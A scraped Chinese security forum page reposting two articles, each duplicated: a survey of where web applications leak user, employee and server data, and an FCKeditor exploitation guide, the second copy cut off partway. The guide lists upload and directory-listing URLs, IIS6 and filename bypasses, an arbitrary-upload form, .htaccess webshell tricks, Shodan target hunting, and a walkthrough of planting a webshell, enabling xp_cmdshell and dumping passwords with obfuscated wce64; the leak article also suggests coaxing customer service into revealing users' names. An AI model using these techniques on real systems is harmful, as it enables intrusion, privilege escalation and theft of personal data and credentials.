挖洞技巧:信息泄露总结(转)

main 发表了文章 • 0 个评论 • 39 次浏览 • 4 天前 • 来自相关话题

Web方面的信息泄露:

0x01  用户信息泄露:

①:评论处

一般用户评论处用户的信息都是加密的,比如显示的是用户手机号或邮箱等,就会直接对中间的一段数字进行加密,但是有些可能就没有加密,而是直接显示出来,那么这就造成了用户信息泄露问题。

如果加密不当,直接游览用户评论处时进行抓包,然后查看返回包就可以直接看到明文,但有的时候会有2个参数,就比如name:1333******1这个值是加密的,但后面还会有一个testname这个参数就没有进行加密,从而导致用户信息泄露。

这里有一些小技巧,就比如一个买卖市场,他有用户评论的地方,有一个秒杀抢购成功的展示用户的地方,还有一个是用户相互交流的地方,一般白帽子测试了第一个功能处发现不存在问题,然后就不继续测试其它相同功能处了,这个疏忽就可能会导致错过一个发现问题的机会,每个功能处,加密机制有时候就会被漏掉,就比如用户评论处用户信息加了密,但是秒杀抢购成功的展示用户的地方却没有加密,所以白帽子要更细心点。

一般评论处都会有一个追加评论功能和一个商家回复功能,那么此时如果对这个功能参数没有加以加密,那么通过抓包游览查看返回包就可看到追加评论的用户信息和商家信息。

有些评论功能当中支持艾特(@)他人,那么在这个评论当中你通过@他人,然后输入信息点击发送到评论处时,通关抓包就可看到刚刚@的那个用户的明文信息。

当这个网站评论地方被搜索引擎爬虫到了,那么可以尝试利用搜索命令site:XXXX.com inurl:XX目录在搜索引擎当中搜索,如果加密不完全,那么就可以在搜索引擎当中看到明文信息。

关于这类的信息泄露问题我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0104766.html
  ②:转账处

很多大型公司都有自家的金融平台,然后在转账处,当你输入对方的转账的账户,比如手机号或者邮箱,然后当你点击其它地方,它会向服务器发送一条验证信息,验证输入的此账户是否存在,如果存在,返回对应的手机号或者邮箱账户的用户姓名,比如*王(1333333XXX)这样的返回信息,那么如果此时前端加密不当,可以通过抓包拦截这条请求,查看返回信息,就可看到明文的姓名。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0124969.html

一般在转账处输入手机号或邮箱账户的旁边,有一个历史转账信息,一个迷你的小页面,当你点击后会看到之前转账成功的信息,但是,如果此页面加密不全,那么在点击查看历史转账信息时直接抓包查看返回内容就可看到明文的姓名。③:搜索处

有些平台内置了搜索功能,跟搜索引擎思路很像,同样也是随意搜索,如果此时搜索的结果包含用户信息这块,那么就可能会导致用户信息泄露问题。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html[url=http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html]
[/url] ④:个人页面处

在个人页面当中,直接游览时直接抓包,查看返回包就可看到用户信息是否未加密完全。比如一些金融APP,如果加密不当,当点击个人界面时通过抓包查看返回包就可看到明文的身份证信息和用户名以及手机号。

当然这里不是只有涉及金融APP方面的才会有这个问题,只要是可以查看个人页面处都可能存在。

在查看银行卡信息那里,一般都是加了密的,但查看银行卡信息处时进行抓包查看返回包的时候就可看到明文的银行卡卡号信息和姓名信息。⑤:客服处

这个问题属于客服安全方面意思不足,大一点的来看就是公司没有对客服进行安全培训等,当你询问客服某手机号对应的姓名时,客服就会直接把姓名发你,当然这要考验你是怎么问的了,还有如果失败了不要放弃,换一个客服继续测试。 

0x02  越权方面的用户信息泄露

①:任意查看

很多平台需要进行实名制认证,在上传实名制所需要的身份证照片等信息图片时,如果没有对所产生的文件名格式进行复杂化的话,那么极有可能会存在任意查看,通过批量的方式就可以进行这些步骤,比如你上传了图片,服务器生成的图片地址是XXX.com/xxx/xx/012313.jpg这样短的数字格式文件名的话,就会存在该问题。

购物平台当中,在添加地址或修改地址的地方,如果权限没过滤好,就可以越权进行查看任意用户的地址信息。

在某些平台当中,支持添加子账户,然后随便添加一个子账户,然后在查看该子账户的时候进行抓包,修改其ID值,就可以查看任意账户信息

有些平台有操作日志或其它日志功能,那么如果此时对当前用户的权限过滤不当,那么就可以查看全部用户操作时产生的日志,从而导致信息泄露。

在很多金融平台当中,在修改昵称那里或者查看个人信息那里,提交时抓包,修改其用户值为存在用户的任意值,那么就可能造成查看任意用户信息的问题。

如果你进入了一些内部员工平台,那么如果具有搜索功能,就比如你输入了员工工号然后它会返回这个员工的所有在职信息,那么此时你可以通过抓包批量进行提交员工工号,就可造成大范围的信息泄露。

随便买一个东西生成订单,如果此时权限控制不当,就可以越权查看到任意用户的订单,那么信息也自认而然的泄露出来了。

关于这方面,我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2014-083157.html
 ②:任意重置

如果权限控制不当,可导致任意用户密码修改的话,那么登录后就可查看该用户的任意信息,这也就导致了用户信息泄露。 ③:任意修改

在下单的时候修改其用户ID为任意存在用户的ID,然后下单,然后查看刚刚下单的信息,就可看到该用户的收货地址信息,只要对方设置了收货地址。



 

0x03 接口方面的用户信息泄露

很多业务网站在上线的时候都忘记把测试时的接口进行关闭,从而导致这个接口可以查询大量用户信息。那么此类接口怎么找呢?

其中之一的方法通过Github.com网站进行搜索相关域名进行查找。
关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0116563.html
 

0x04 注入方面的用户信息泄露

注入可以说是非常非常的严重,因为注入往往都能得到很多信息,如果没做好相关过滤以及防护,就可导致注入,从而数据库内的各种数据面对裸露的危险。 

0x05  服务器路径信息泄露

①:上传图片处

在上传图片处,这里我说下最可能存在问题的点,就是关于上传相关证明,进行实名制上传信息等功能页面,在上传图片时进行抓包,然后查看返回包,那么就可看到当前服务器的绝对路径信息。②:XML处

一些XML限制或删除不完全,可导致服务器等信息泄露。

详细例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0123762.html③:第三方的服务当中

很多,如:Apache Tomcat、Struts2、CMS、zabbix、Nginx等等,例如Nginx的某版本解析漏洞,就可造成路径信息泄露。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2013-019253.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-04655.html

④:利用报错问题

在处理报错信息的问题上如果处理不当,就可导致路径信息泄露,比如访问一些不存在的文件等思路。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-010115.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2011-02219.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-09901.html

以上就是关于服务器路径信息泄露问题!
  

0x06  员工信息泄露

①:各第三方平台当中

Github,很不错的开源社区平台。一些员工喜欢将自己的信息上传到这平台上,但是往往忽视了安全,有时这上传的代码当中就可能包含很多内部测试员工的账户以及密码信息等。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0177720.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0164337.html


在搜索QQ群那里,通过搜索企业昵称,往往都可以搜索出来关于企业员工或企业方面的信息,一般都会贴在公告当中,比如某某测试账户等。

当然,你也可以申请加入群进行查看群文件,看是否有铭感的信息。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0128511.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-093927.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0208105.html


百度贴吧当中,一般都有公司员工创建的贴吧,如果安全意思不足,那么就会泄露相关员工工号,可用作暴力破解的字典。



②:弱密码问题

在一些涉及内部员工方面的系统,如果员工密码为弱密码,那么就可通过暴力破解方式进行尝试登录,如果成功爆破到了员工账户,那么一般只要是内部员工系统该账户都可以登录,那么所造成的影响也是很大的。

以上就是关于员工信息泄露的问题! 

0x07  数据库信息以及服务器信息泄露

①:各第三方平台当中

Github,一些员工如果安全意识不足,同样上传的代码当中就包含了数据库连接信息以及服务器信息。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0180848.html


利用搜索QQ群的思路,如果员工的安全意识不足,那么数据库连接信息以及服务器信息就会在公告或群文件当中②:XML处

同样在XML文件当中,也可能会发现数据库连接信息以及服务器信息。③:svn处

svn是一个开放源代码的版本控制系统,如果没有加以限制或者删除,那么就可以游览相关的比较隐蔽性的源码。

关于这类的问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0199607.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0191202.html
④:数据库文件

一些数据库相关文件如果删除不当或者摆放位置不当,那么极有可能被下载下来,造成危害。

关于这方面,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0158556.html
⑤:其它文件

比如其它类型的文件,如Txt、Doc、Excel等文件,如果包含铭感信息,那么危害也是显而易见的。

以上就是关于数据库信息以及服务器信息泄露的问题! 查看全部
Web方面的信息泄露:


0x01  用户信息泄露:


①:评论处

一般用户评论处用户的信息都是加密的,比如显示的是用户手机号或邮箱等,就会直接对中间的一段数字进行加密,但是有些可能就没有加密,而是直接显示出来,那么这就造成了用户信息泄露问题。

如果加密不当,直接游览用户评论处时进行抓包,然后查看返回包就可以直接看到明文,但有的时候会有2个参数,就比如name:1333******1这个值是加密的,但后面还会有一个testname这个参数就没有进行加密,从而导致用户信息泄露。

这里有一些小技巧,就比如一个买卖市场,他有用户评论的地方,有一个秒杀抢购成功的展示用户的地方,还有一个是用户相互交流的地方,一般白帽子测试了第一个功能处发现不存在问题,然后就不继续测试其它相同功能处了,这个疏忽就可能会导致错过一个发现问题的机会,每个功能处,加密机制有时候就会被漏掉,就比如用户评论处用户信息加了密,但是秒杀抢购成功的展示用户的地方却没有加密,所以白帽子要更细心点。

一般评论处都会有一个追加评论功能和一个商家回复功能,那么此时如果对这个功能参数没有加以加密,那么通过抓包游览查看返回包就可看到追加评论的用户信息和商家信息。

有些评论功能当中支持艾特(@)他人,那么在这个评论当中你通过@他人,然后输入信息点击发送到评论处时,通关抓包就可看到刚刚@的那个用户的明文信息。

当这个网站评论地方被搜索引擎爬虫到了,那么可以尝试利用搜索命令site:XXXX.com inurl:XX目录在搜索引擎当中搜索,如果加密不完全,那么就可以在搜索引擎当中看到明文信息。

关于这类的信息泄露问题我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0104766.html
 
 
②:转账处

很多大型公司都有自家的金融平台,然后在转账处,当你输入对方的转账的账户,比如手机号或者邮箱,然后当你点击其它地方,它会向服务器发送一条验证信息,验证输入的此账户是否存在,如果存在,返回对应的手机号或者邮箱账户的用户姓名,比如*王(1333333XXX)这样的返回信息,那么如果此时前端加密不当,可以通过抓包拦截这条请求,查看返回信息,就可看到明文的姓名。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0124969.html

一般在转账处输入手机号或邮箱账户的旁边,有一个历史转账信息,一个迷你的小页面,当你点击后会看到之前转账成功的信息,但是,如果此页面加密不全,那么在点击查看历史转账信息时直接抓包查看返回内容就可看到明文的姓名。
③:搜索处

有些平台内置了搜索功能,跟搜索引擎思路很像,同样也是随意搜索,如果此时搜索的结果包含用户信息这块,那么就可能会导致用户信息泄露问题。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html[url=http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html]
[/url]
 
④:个人页面处

在个人页面当中,直接游览时直接抓包,查看返回包就可看到用户信息是否未加密完全。比如一些金融APP,如果加密不当,当点击个人界面时通过抓包查看返回包就可看到明文的身份证信息和用户名以及手机号。

当然这里不是只有涉及金融APP方面的才会有这个问题,只要是可以查看个人页面处都可能存在。

在查看银行卡信息那里,一般都是加了密的,但查看银行卡信息处时进行抓包查看返回包的时候就可看到明文的银行卡卡号信息和姓名信息。
⑤:客服处

这个问题属于客服安全方面意思不足,大一点的来看就是公司没有对客服进行安全培训等,当你询问客服某手机号对应的姓名时,客服就会直接把姓名发你,当然这要考验你是怎么问的了,还有如果失败了不要放弃,换一个客服继续测试。
 


0x02  越权方面的用户信息泄露


①:任意查看

很多平台需要进行实名制认证,在上传实名制所需要的身份证照片等信息图片时,如果没有对所产生的文件名格式进行复杂化的话,那么极有可能会存在任意查看,通过批量的方式就可以进行这些步骤,比如你上传了图片,服务器生成的图片地址是XXX.com/xxx/xx/012313.jpg这样短的数字格式文件名的话,就会存在该问题。

购物平台当中,在添加地址或修改地址的地方,如果权限没过滤好,就可以越权进行查看任意用户的地址信息。

在某些平台当中,支持添加子账户,然后随便添加一个子账户,然后在查看该子账户的时候进行抓包,修改其ID值,就可以查看任意账户信息

有些平台有操作日志或其它日志功能,那么如果此时对当前用户的权限过滤不当,那么就可以查看全部用户操作时产生的日志,从而导致信息泄露。

在很多金融平台当中,在修改昵称那里或者查看个人信息那里,提交时抓包,修改其用户值为存在用户的任意值,那么就可能造成查看任意用户信息的问题。

如果你进入了一些内部员工平台,那么如果具有搜索功能,就比如你输入了员工工号然后它会返回这个员工的所有在职信息,那么此时你可以通过抓包批量进行提交员工工号,就可造成大范围的信息泄露。

随便买一个东西生成订单,如果此时权限控制不当,就可以越权查看到任意用户的订单,那么信息也自认而然的泄露出来了。

关于这方面,我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2014-083157.html
 
②:任意重置

如果权限控制不当,可导致任意用户密码修改的话,那么登录后就可查看该用户的任意信息,这也就导致了用户信息泄露。
 
③:任意修改

在下单的时候修改其用户ID为任意存在用户的ID,然后下单,然后查看刚刚下单的信息,就可看到该用户的收货地址信息,只要对方设置了收货地址。



 


0x03 接口方面的用户信息泄露


很多业务网站在上线的时候都忘记把测试时的接口进行关闭,从而导致这个接口可以查询大量用户信息。那么此类接口怎么找呢?

其中之一的方法通过Github.com网站进行搜索相关域名进行查找。
关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0116563.html
 


0x04 注入方面的用户信息泄露


注入可以说是非常非常的严重,因为注入往往都能得到很多信息,如果没做好相关过滤以及防护,就可导致注入,从而数据库内的各种数据面对裸露的危险。
 


0x05  服务器路径信息泄露


①:上传图片处

在上传图片处,这里我说下最可能存在问题的点,就是关于上传相关证明,进行实名制上传信息等功能页面,在上传图片时进行抓包,然后查看返回包,那么就可看到当前服务器的绝对路径信息。
②:XML处

一些XML限制或删除不完全,可导致服务器等信息泄露。

详细例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0123762.html
③:第三方的服务当中

很多,如:Apache Tomcat、Struts2、CMS、zabbix、Nginx等等,例如Nginx的某版本解析漏洞,就可造成路径信息泄露。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2013-019253.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-04655.html

④:利用报错问题

在处理报错信息的问题上如果处理不当,就可导致路径信息泄露,比如访问一些不存在的文件等思路。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-010115.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2011-02219.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-09901.html

以上就是关于服务器路径信息泄露问题!

  


0x06  员工信息泄露


①:各第三方平台当中

Github,很不错的开源社区平台。一些员工喜欢将自己的信息上传到这平台上,但是往往忽视了安全,有时这上传的代码当中就可能包含很多内部测试员工的账户以及密码信息等。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0177720.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0164337.html


在搜索QQ群那里,通过搜索企业昵称,往往都可以搜索出来关于企业员工或企业方面的信息,一般都会贴在公告当中,比如某某测试账户等。

当然,你也可以申请加入群进行查看群文件,看是否有铭感的信息。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0128511.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-093927.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0208105.html


百度贴吧当中,一般都有公司员工创建的贴吧,如果安全意思不足,那么就会泄露相关员工工号,可用作暴力破解的字典。



②:弱密码问题

在一些涉及内部员工方面的系统,如果员工密码为弱密码,那么就可通过暴力破解方式进行尝试登录,如果成功爆破到了员工账户,那么一般只要是内部员工系统该账户都可以登录,那么所造成的影响也是很大的。

以上就是关于员工信息泄露的问题!
 


0x07  数据库信息以及服务器信息泄露


①:各第三方平台当中

Github,一些员工如果安全意识不足,同样上传的代码当中就包含了数据库连接信息以及服务器信息。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0180848.html


利用搜索QQ群的思路,如果员工的安全意识不足,那么数据库连接信息以及服务器信息就会在公告或群文件当中
②:XML处

同样在XML文件当中,也可能会发现数据库连接信息以及服务器信息。
③:svn处

svn是一个开放源代码的版本控制系统,如果没有加以限制或者删除,那么就可以游览相关的比较隐蔽性的源码。

关于这类的问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0199607.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0191202.html
④:数据库文件

一些数据库相关文件如果删除不当或者摆放位置不当,那么极有可能被下载下来,造成危害。

关于这方面,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0158556.html
⑤:其它文件

比如其它类型的文件,如Txt、Doc、Excel等文件,如果包含铭感信息,那么危害也是显而易见的。

以上就是关于数据库信息以及服务器信息泄露的问题!

Fckeditor漏洞总结(转)

fireant 发表了文章 • 1 个评论 • 147 次浏览 • 6 天前 • 来自相关话题

Fckeditor漏洞总结(转)
最近进行漏洞挖掘时遇到不少Fckeditor编辑器,找到一篇总结文章
1.1Fckeditor漏洞总结
   有些漏洞看起来简单,级别比较低,不如SQL注入等漏洞来的直接,但在条件合适的情况下,小漏洞发挥大作用,一直以来都想做一个Fckeditor漏洞总结,免得每次遇到目标都需要重新搜索,浪费时间。
 
1.1.1FCKeditor编辑器漏洞利用总结
 
1.判断fckeditor版本
通过/fckeditor/editor/dialog/fck_about.html和/FCKeditor/_whatsnew.html页面文件中的版本号来确定。例如访问http://***.1**.***.***:8081/fckeditor/_whatsnew.html,获知其版本号为2.4.3。
 
2.常见的测试上传地址
  Fckeditor编辑器默认会存在test.html和uploadtest.html文件,直接访问这些文件可以获取当前文件夹文件名称以及上传文件,有的版本可以直接上传任意文件类型,测试上传地址有:(1)FCKeditor/editor/filemanager/browser/default/connectors/test.html

(2)FCKeditor/editor/filemanager/upload/test.html

(3)FCKeditor/editor/filemanager/connectors/test.html

(4)FCKeditor/editor/filemanager/connectors/uploadtest.html


 3.示例上传地址FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

FCKeditor/_samples/default.html

FCKeditor/editor/fckeditor.htm

FCKeditor/editor/fckdialog.html
 4.常见的上传地址
(1)connector.aspx文件FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp 
(2)browser.html文件FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php 
 
5. Windows 2003+IIS6文件解析路径漏洞
   通过Fckeditor编辑器在文件上传页面中,创建诸如1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。其shell地址为: http://www.somesite.com/images/upload/201806/image/1.asp/1.jpg  
6.iis6突破文件夹限制Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp 
 
7.突破文件名限制
(1)二次重复上传文件突破“.”变成“-”限制
新版FCK上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg
(2)提交shell.php+空格绕过
空格只支持windows系统,linux系统是不支持的,可提交shell.php+空格来绕过文件名限制。
 
8.列目录
(1)FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。
(2)根据xml返回信息查看网站目录http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp 
(3)获取当前文件夹FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
(4)浏览E盘文件/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/ 
(5)JSP 版本FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/ 
9.修改Media 类型进行上传
FCKeditor 2.4.2  For php以下版本在处理PHP上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址为实际地址:<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form> 
 
10.htaccess文件突破
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
(1).htaccess文件内容AppType  application/x-httpd-php  .jpg 
另外一种方法也可以,其内容为: <FilesMatch "cimer">
SetHandler application/x-httpd-php
</FilesMatch> 
上传带cimer后缀的webshell文件,访问地址即可得到webshell
(2)上传.htaccess文件
(3)上传图片木马
(4)借助该漏洞,可以实现webshell的访问
 
1.1.2搜索FCKeditor目标
 
1.在shodan.io网站搜索FCKeditor关键字
   在shodan.io网站搜索FCKeditor关键字https://www.shodan.io/search?query=”FCKeditor”对关键字进行查询,不同的关键字其出来的效果不一样。 
 
2.逐个查看目标记录信息
   对shodan.io网站搜索的24条记录进行逐个查看,也即单击shodan搜索记录中的Details链接,即可查看目标的详细信息,如图3所示,建议新建窗口打开该链接地址,在该IP地址信息中包含国家、城市、组织、ISP和端口等信息。
 
1.1.3漏洞利用及分析
 
1.根据端口访问服务器
   单击shodan中搜索出来的服务信息中的绿色转向箭头即可直接访问目标服务器。
 
 
2.对网站目录进行逐个查看获取Fckedit漏洞利用页面
   通过对该网站fckeditor 编辑器所在文件夹进行逐层访问,获取其上传测试页面地址:http://***.1**.***.***:8081/fckeditor/editor/filemanager/upload/test.html
 
3.查看和验证上传文件
    如图6所示,到该网站/UserFiles/目录,可以看到上传的2014.aspx及cmd.php文件。
 
 
4.获取webshell及数据库密码
单击/UserFiles/目录中的2014.aspx文件,直接获取webshell。
 
 
5.服务器提权并获取服务器密码
(1)获取服务器架构
(2)连接数据库恢复xp_cmdshell
    在webshell中单击DataBase进行数据库管理,选择mssql,然后输入sa账号对应的密码,进行连接,连接成功后,在SQLExec中选择Add xp_cmdshell。
(3)获取当前数据库管理员密码明文
将wce64.exe进行免杀处理,然后上传到服务器上,通过xp_cmdshell执行命令:
Exec master.dbo.xp_cmdshell 'E:\dlty\UserFiles\wce64 -w'
 
 1.1.4渗透总结及分析
1. sqlserver 2000直接提权。在本例中还可以通过sqlmap进行mssql数据库直连进行提权以及执行命令等操作,由于本案例中的数据库是sqlserver 2000,sa账号可以直接提权到服务器权限。
2.Fckeditor中的test.html文件可以直接上传任意文件类型
3.可以通过Fckeditor还可以浏览目录。这个在渗透中特别有用,可以用来查看网站的目录结构,运气好,可以查看xml配置文件,以及下载源代码文件等。
4.在本案例中的目录信息危害太大。可以对所有文件及目录进行查看,即使未获取编辑器漏洞,也可以通过源代码文件获取数据库密码。 查看全部
Fckeditor漏洞总结(转)
最近进行漏洞挖掘时遇到不少Fckeditor编辑器,找到一篇总结文章
1.1Fckeditor漏洞总结
   有些漏洞看起来简单,级别比较低,不如SQL注入等漏洞来的直接,但在条件合适的情况下,小漏洞发挥大作用,一直以来都想做一个Fckeditor漏洞总结,免得每次遇到目标都需要重新搜索,浪费时间。
 
1.1.1FCKeditor编辑器漏洞利用总结
 
1.判断fckeditor版本
通过/fckeditor/editor/dialog/fck_about.html和/FCKeditor/_whatsnew.html页面文件中的版本号来确定。例如访问http://***.1**.***.***:8081/fckeditor/_whatsnew.html,获知其版本号为2.4.3。
 
2.常见的测试上传地址
  Fckeditor编辑器默认会存在test.html和uploadtest.html文件,直接访问这些文件可以获取当前文件夹文件名称以及上传文件,有的版本可以直接上传任意文件类型,测试上传地址有:
(1)FCKeditor/editor/filemanager/browser/default/connectors/test.html

(2)FCKeditor/editor/filemanager/upload/test.html

(3)FCKeditor/editor/filemanager/connectors/test.html

(4)FCKeditor/editor/filemanager/connectors/uploadtest.html


 3.示例上传地址
FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

FCKeditor/_samples/default.html

FCKeditor/editor/fckeditor.htm

FCKeditor/editor/fckdialog.html

 4.常见的上传地址
(1)connector.aspx文件
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp
 
(2)browser.html文件
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php
 
 
5. Windows 2003+IIS6文件解析路径漏洞
   通过Fckeditor编辑器在文件上传页面中,创建诸如1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。其shell地址为: 
http://www.somesite.com/images/upload/201806/image/1.asp/1.jpg 
 
6.iis6突破文件夹限制
Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
 
 
7.突破文件名限制
(1)二次重复上传文件突破“.”变成“-”限制
新版FCK上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg
(2)提交shell.php+空格绕过
空格只支持windows系统,linux系统是不支持的,可提交shell.php+空格来绕过文件名限制。
 
8.列目录
(1)FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。
(2)根据xml返回信息查看网站目录
http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp
 
